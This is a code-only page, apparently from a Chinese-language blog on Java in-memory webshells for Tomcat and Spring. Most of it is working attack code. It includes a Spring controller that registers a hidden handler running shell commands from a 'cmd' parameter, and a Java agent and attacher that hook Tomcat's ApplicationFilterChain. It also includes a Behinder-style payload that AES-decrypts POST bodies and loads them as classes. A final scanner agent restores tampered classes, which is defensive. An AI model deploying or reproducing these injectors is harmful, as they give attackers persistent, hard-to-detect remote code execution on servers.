1
2
3
4
5
6
7
8
ServletContext servletContext = request.getServletContext();//获取到applicationcontextFacade  
Field fieldApplicationContext = servletContext.getClass().getDeclaredField("context");//利用反射获取ApplicationContext对象  
fieldApplicationContext.setAccessible(true);//使私有可获取  
ApplicationContext applicationContext = (ApplicationContext) fieldApplicationContext.get(servletContext);//获取到ApplicationContext对象  
  
Field fieldStandardContext = applicationContext.getClass().getDeclaredField("context");//利用反射获取StandardContext对象  
fieldStandardContext.setAccessible(true);//使私有可获取  
StandardContext standardContext = (StandardContext) fieldStandardContext.get(applicationContext);//获取到StandardContext对象

1
2
3
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.getRegistry(null, null).getMBeanServer();
// 获取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(jmxMBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 获取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map> domainTb = (HashMap<string,map>)field.get(repository);


StandardContext NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve"// change for your

1
2
3
4
5
6
7
8
9
10
package priv.agentmaininjectdemo;

public class Peoples {

        public void say(){
            System.out.println("hello");
        }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package priv.agentmaininjectdemo;



public class MainforRun {
    public static void main(String[] args) throws Exception{
        while (true){
            new Peoples().say();
            Thread.sleep(5000);
        }

    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package priv.agentmaininjectdemo;


import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Agentthing {
    public static void agentmain(String agentArgs, Instrumentation inst)
            throws UnmodifiableClassException {
        inst.addTransformer(new PeoplesTransformer(), true);
        inst.retransformClasses(Peoples.class);
        System.out.println("retransform success");
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package priv.agentmaininjectdemo;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class PeoplesTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        if(!className.startsWith("priv/agentmaininjectdemo/Peoples"))//change for your
        {
            return  classfileBuffer;
        }

        try{
        ClassPool cp = ClassPool.getDefault();
        ClassClassPath classPath = new ClassClassPath(classBeingRedefined);  //get current class's classpath
        cp.insertClassPath(classPath);  //add the classpath to classpool
        CtClass cc = cp.get("priv.agentmaininjectdemo.Peoples");
        CtMethod m = cc.getDeclaredMethod("say");
            System.out.println("changing class method to add some code ........");
        m.addLocalVariable("elapsedTime", CtClass.longType);
        m.insertBefore("System.out.println(\"injected by agent\");");
        byte[] byteCode = cc.toBytecode();//after toBytecode() the ctClass has been frozen
        cc.detach();
        return byteCode;  //change
        }
        catch (Exception e){
            e.printStackTrace();
            System.out.println("falied change");
            return null;
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package priv.agentmaininjectdemo;

import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Scanner;

public class Attachthings {
    public static void main(String[] args) throws Exception{

//        System.out.println(getjarpid());
        //agentfordemo-1.0-SNAPSHOT.jar
        String pid = getjarpid().trim();
//        System.out.println(pid);
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent("D:\\githubprogram\\Testforjavaagent\\agentfordemo-2.0-SNAPSHOT-jar-with-dependencies.jar");
    }

    private static String getjarpid() throws Exception{
        Process ps = Runtime.getRuntime().exec("jps");
        InputStream is = ps.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader bis = new BufferedReader(isr);
        String line;
        StringBuilder sb = new StringBuilder();
        String result = null;
        while((line=bis.readLine())!=null){
            sb.append(line+";");
        }
        String  [] xx= sb.toString().split(";");
        for (String x : xx){
            if (x.contains("jar"))
            {
                result=x.substring(0,x.length()-3);
            }
        }
        return result;
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.example.myspring.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;


@Controller
public class NoshellController {

    @ResponseBody
    @RequestMapping("/noshells")
    public void noshell(HttpServletRequest request, HttpServletResponse response) throws Exception {

        // 获取Context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 通过反射获得恶意类的test方法
        Method method = Evil.class.getMethod("test");
        // 定义该controller的path
        PatternsRequestCondition url = new PatternsRequestCondition("/hellos");
        // 定义允许访问的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 构造注册信息
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
//        RequestMappingInfo info = RequestMappingInfo.paths(String.valueOf(url))
//                .methods(ms)
//                .options(null)
//                .build();
        // 创建用于处理请求的对象，避免无限循环使用一个构造方法
        Evil injectToController = new Evil("xxx");
        // 将该controller注册到Spring容器
        mappingHandlerMapping.registerMapping(info, injectToController, method);
        System.out.println("测试xxxxxx");
        response.getWriter().println("inject success");
    }

    public class Evil {
        public Evil(String xxx) {
        }

        public void test() throws Exception {

            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
            String command = request.getParameter("cmd");
            if (command != null) {
                try {
                    java.io.PrintWriter printWriter = response.getWriter();
                    String o = "";
                    ProcessBuilder p;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                    } else {
                        p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next() : o;
                    c.close();
                    printWriter.write(o);
                    printWriter.flush();
                    printWriter.close();
                } catch (Exception ignored) {

                }
            }
        }
    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package priv.ga0weI.baseonagent;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Agentthing {
    public  static  void  agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Transformerthings tf = new Transformerthings();//new my transformer
        inst.addTransformer(tf,true);//added
        Class[] allclass = inst.getAllLoadedClasses();//get all class load by ...
        for (Class cl : allclass){
            if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain"))//for Tomcat
            {
                inst.retransformClasses(cl);
            }
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package priv.ga0weI.baseonagent;

import javassist.*;

import java.io.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformerthings implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){ // class from in jvm named as xxx/xxx/xxx/xxx
            try {
//                System.out.println("a request com and hook the ApplicationFilterChain");
                ClassPool classPool = ClassPool.getDefault();
//                System.out.println("classBeingRedefinefined is :"+classBeingRedefined.getName());// classBeingRedefined = null
                ClassClassPath classPath = new ClassClassPath(className.getClass());  //get className class's classpath
//                System.out.println("this class path :"+classPath.toString())    ;
                classPool.insertClassPath(classPath);  //add the classpath to classpool  To nextfind
//                System.out.println("classPool has :"+classPool.toString());
                if (classBeingRedefined!=null) //for avoide case of null, throw exception
                {
                    ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(classPath1);
                }
                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");  //for xx.xx.xx
                CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");//filterchain dofilter actually implementation ,change it'code and for all request

                ctMethod.addLocalVariable("elapsedTime", CtClass.longType);
                ctMethod.insertBefore(readSource());//insert the code for cmd

                byte [] classbytes =ctClass.toBytecode();//get changed code and return ,Notice  after the  method of  toBytecode,the ctClass will be forzen
                /*
                try get fileclass
                 */
                bytestoclass(classbytes,".\\tmp\\retransformed.class");//get changed class for check
                return classbytes;

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return  null;
    }

    /**
     * get the code ready for inject internalDoFilter
     * @return ready code
     */
    private String readSource() {
        StringBuilder source=new StringBuilder();
        InputStream is = Transformerthings.class.getClassLoader().getResourceAsStream("source.txt");
        InputStreamReader isr = new InputStreamReader(is);
        String line=null;
        try {
            BufferedReader br = new BufferedReader(isr);
            while((line=br.readLine()) != null) {
                source.append(line);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return source.toString();
    }

    /**
     * output file for check
     * @param bytes
     * @param filename
     */
    private void bytestoclass(byte [] bytes,String filename) {
        try{
            File file = new File(".\\tmp");
            if (!file.exists())
                file.mkdir();
            FileOutputStream fos = new FileOutputStream(filename);
            fos.write(bytes);
            fos.flush();
            fos.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package priv.ga0weI.baseonagent;

import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Attachthing {
    public static void main(String[] args) throws Exception {
        String pid = getpid().trim();
        System.out.println("find a Tomcat vm:"+pid);
        String currentPath = Attachthing.class.getProtectionDomain().getCodeSource().getLocation().getPath();
        currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
//        System.out.println("path:"+currentPath);
        String agentFile = currentPath.substring(1,currentPath.length())+"Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\");
        System.out.println("agent file path :"+agentFile);
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(agentFile);
        vm.detach();
        System.out.println("agent injected");
    }

    /**
     * look for pid in jvm
     * @return Pid
     * @throws Exception
     */
    private static String getpid() throws Exception{
        Process ps = Runtime.getRuntime().exec("jps");
        InputStream is = ps.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader bis = new BufferedReader(isr);
        String line;
        StringBuilder sb = new StringBuilder();
        String result = null;
        while((line=bis.readLine())!=null){
            sb.append(line+";");
        }
        String  [] xx= sb.toString().split(";");
        for (String x : xx){
            if (x.contains("Bootstrap")) //find tomcat
            {
                result=x.substring(0,x.length()-9);
            }
        }
        return result;
    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern="%s";
if (request.getRequestURI().matches(pathPattern))
{
	java.util.Map obj=new java.util.HashMap();
	obj.put("request",request);
	obj.put("response",response);
	obj.put("session",session);
    ClassLoader loader=this.getClass().getClassLoader();
	if (request.getMethod().equals("POST"))
	{
		try
		{
			String k="%s";
			session.putValue("u",k);
			
			java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();
			Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");

			Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});
			Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;
			       
			java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});
			initMethod.invoke(c,new Object[]{new Integer(2),keyObj});

			java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});
            byte[] requestBody=null;
            try {
                    Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
			        Object Decoder = Base64.newInstance();
                    requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                } catch (Exception ex) 
                {
                    Class Base64 = loader.loadClass("java.util.Base64");
                    Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);
                    requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                }
						
			byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});
			java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});
			defineMethod.setAccessible(true);
			java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
			constructor.setAccessible(true);
			java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});
			java.lang.Class  c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});
			c.newInstance().equals(obj);
		}

		catch(java.lang.Exception e)
		{
		   e.printStackTrace();
		}
		catch(java.lang.Error error)
		{
		error.printStackTrace();
		}
		return;
	}	
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package priv.ga0weI.scannerbaseonagent;


import java.lang.instrument.Instrumentation;

public class Agentthings {
    public static  void  agentmain(String Args, Instrumentation inst) throws Exception {
//
        MyTransformer myTransformer=new MyTransformer();
        inst.addTransformer(myTransformer,true);
        for (Class aclass:inst.getAllLoadedClasses()){
            if (aclass.getName().equals("org.apache.catalina.core.ApplicationFilterChain"))
            {

                System.out.println("agent main:"+aclass.getName());
                inst.retransformClasses(aclass);
//                inst.removeTransformer(myTransformer);
            }
        }

    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package priv.ga0weI.scannerbaseonagent;

import javassist.*;

import java.io.File;
import java.io.FileOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//        System.out.println("ga0weI"+className);
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
           try {
               ClassPool classPool = ClassPool.getDefault();

               if(className!=null) {
                   ClassClassPath path = new ClassClassPath(className.getClass());
                   classPool.insertClassPath(path);
               }
               if (classBeingRedefined != null)
               {
                   ClassClassPath path2 = new ClassClassPath(classBeingRedefined);
                   classPool.insertClassPath(path2);
               }
//               System.out.println("class name:"+className);
               CtClass ctClass;
               try {
                   ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");//对应类没有内存马则为null抛出异常
               }catch (NotFoundException e){
                   System.out.println("no memshell in ApplicationFilterChain");
                   return classfileBuffer;
               }

//               CtMethod ctMethod=ctClass.getDeclaredMethod("internalDoFilter");
               byte [] bytes = ctClass.toBytecode();
               ctClass.defrost();
               bytestoclass(bytes,".\\tmp\\getApplicationFilterChain.class"); //original class eval
               bytestoclass(classfileBuffer,".\\tmp\\getclassfileBuffer.class");//changed class
               System.out.println("class has been get at /tmp");
               System.out.println("memshell recover");
               return bytes;//recover

           }catch (Exception e){
//               e.printStackTrace();
           }

        }
        return  classfileBuffer;
    }

    /**
     * get class
     * @param bytes
     */
    private void bytestoclass(byte [] bytes,String filename) {
        try{
            File file = new File(".\\tmp");
            if (!file.exists())
                file.mkdir();
            FileOutputStream fos = new FileOutputStream(filename);
            fos.write(bytes);
            fos.flush();
            fos.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package priv.ga0weI.scannerbaseonagent;

import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Attachthings {
    public static void main(String[] args) throws Exception {
//        1、find vm
        String pid = getpid().trim();
        VirtualMachine vm = VirtualMachine.attach(pid);
//        2、find agentfile
        String path = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getPath();
        String currentPath = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getPath();
        currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
//        System.out.println("path:"+currentPath);
        String agentfile = currentPath.substring(1,currentPath.length())+"Scanner_agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\");
//        3、load
        vm.loadAgent(agentfile);
//        vm.detach();
    }
    private static String getpid() throws Exception{
        Process ps = Runtime.getRuntime().exec("jps");
        InputStream is = ps.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader bis = new BufferedReader(isr);
        String line;
        StringBuilder sb = new StringBuilder();
        String result = null;
        while((line=bis.readLine())!=null){
            sb.append(line+";");
        }
        String  [] xx= sb.toString().split(";");
        for (String x : xx){
            if (x.contains("Bootstrap")) //find tomcat
            {
                result=x.substring(0,x.length()-9);
            }
        }
        return result;
    }
}